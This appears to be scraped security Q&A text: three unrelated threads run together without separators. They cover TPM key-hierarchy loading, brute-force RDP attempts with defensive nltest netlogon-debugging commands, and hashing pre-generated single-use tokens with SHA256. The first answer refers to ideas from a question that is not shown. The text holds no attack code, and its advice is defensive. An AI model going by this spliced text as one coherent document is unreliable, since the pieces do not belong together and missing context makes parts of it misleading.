I wrote some code in order to get an answer to my question. The general logic of the TPM is as as simple as follows:

The parent key always has to be loaded in the TPM in order to load a child key.

That means that Idea 1 is completely valid (including the optional steps) and Idea 2 is not. BK with parent SK2 cannot be loaded as SK2 hasnt been loaded previously.

So basically the TPM needs only 3 slots in order to build endless key hierarchies. Generally a TPM still owns more than 3 slots (e.g. my TPM has 32 slots).


Brute Force RDP Attacks Despite Having RDP Restricted to 1 IP - HOW? I restricted the Firewall incoming rules for RDP under Scope to 1 Remote IP address (Local IP Address section is empty). This was done for both Public & Private/Domain Rules.

This action restricted RDP access to only my IP. I confirmed this myself by trying to access from another IP unsuccessfully, can can only access the machine from that 1 static IP.

However I still get 100s of brute force RDP attempts each day. In Event Log / Security section I consistently see other (failed) RDP attempts from other IP addresses (which appear to be external).

Logs list "Unknown user name or bad password" so that tells me that they are getting passed the firewall.

I also changed the RDP port to a custom port #, but that has not helped, I'm assuming I'm being scanned for open ports.

How can this be happening when even I cant log in from a different IP?

Could it be that attackers are somehow circumventing Windows Firewall rule?

Is there anything else that I need to disable from windows services?

Also what else can be done to prevent this?

Appreciate any help here as I'm really not sure how else to stop this, thanks!

This can happen often with Domain Controllers.

Do you have a Domain Controller? If so, on the DC, enable the netlogon.log debugging file (via elevated cmd prompt):

nltest /DBFlag:2080FFFF

Now, go to %WINDIR%\debug\netlogon.log and open it up. You'll be able to see the user(s) attempting to log in, and which machines they're attempting to log in to. It may turn out that you have other systems on the network which are trying to RDP into those systems using Active Directory credentials.

You should be able to track down the offending server with the above data. My guess is something connected to the DC is exposed to 0.0.0.0/0:3389, like an AWS server that remotes into your network using a VPN. May want to check your AWS security groups.

It could really be anything, though. You'll want to find this server before it becomes a pivot point.

Having said that, none of the Wireshark tips in this thread will detect this behavior unless you're on the system being RDP'd into - which is likely not the DC. You'll need to go straight to the DC logs and find out for yourself where it is.

To disable netlogon.log debugging later (via elevated command prompt):

nltest /DBFlag:0x0


Pre-generating 'secure tokens' In our web app we make good use of single use tokens. For example, when somebody creates any of the three "accounts", resets their password, or any other number of things that require random single-use tokens, we:

Generate 32 random bytes from the OS' CSPRNG

Base-64 URL encode it
Store the hash in our database (Scrypt with N=2^15, r=8, P=1)
Give the user the single-use token (usually in the form of a URL)

This all works fine. However, through profiling we've noticed that some of our API calls can take a couple seconds because they have to both verify and create tokens. Some API calls will use Scrypt three or more times.

While it's not terrible, we'd like to speed up the API calls if possible.

I've floated the idea of pre-generating some random tokens, but I'd like a second opinion before I go head and start on this.

There are two ways I think we could go about this. First, we'd simply create (token, hash, salt) triples and store them in-memory. The down side to this is we'd have the unencrypted tokens just sitting there, and an attacker could get them and use them. However, that'd require access to the specific AWS instance and single-use tokens would be the least of our concerns in that situation.

The second would be to use a vault of some kind, so the tuples are still sitting in-memory, but are encrypted. This sounds safer, but still requires the password to the vault to be sitting somewhere and so the attacker still would have access to it if she had access to the AWS instance.

Thoughts? I'm a little wary of this idea, but I'd really like to cut down some API calls from three seconds down to less than one second.

Summary: There is no need to use scrypt on truly random data like yours. Just use a secure hash like SHA256 and you'll be fine.

Explanation: Hashes like SHA256 are, to the best of our knowledge, irreversible. The only way to go from a hash to the original text is to use a combination of precomputation and brute-forcing. It turns out that pre-computation is very successful at storing passwords because people choose weak and predictable passwords. This is why the whole science of password hashes needed to be created.

However, has 256-bits of entropy in it. It is unfeasible to generate a rainbow table (we don't have room to store it on this planet) or brute force (the sun will blow up before we get halfway through) a simple SHA256 hash over such a large input space.

So use the speedy SHA256 on your random data and rest assured that it is uncrackable.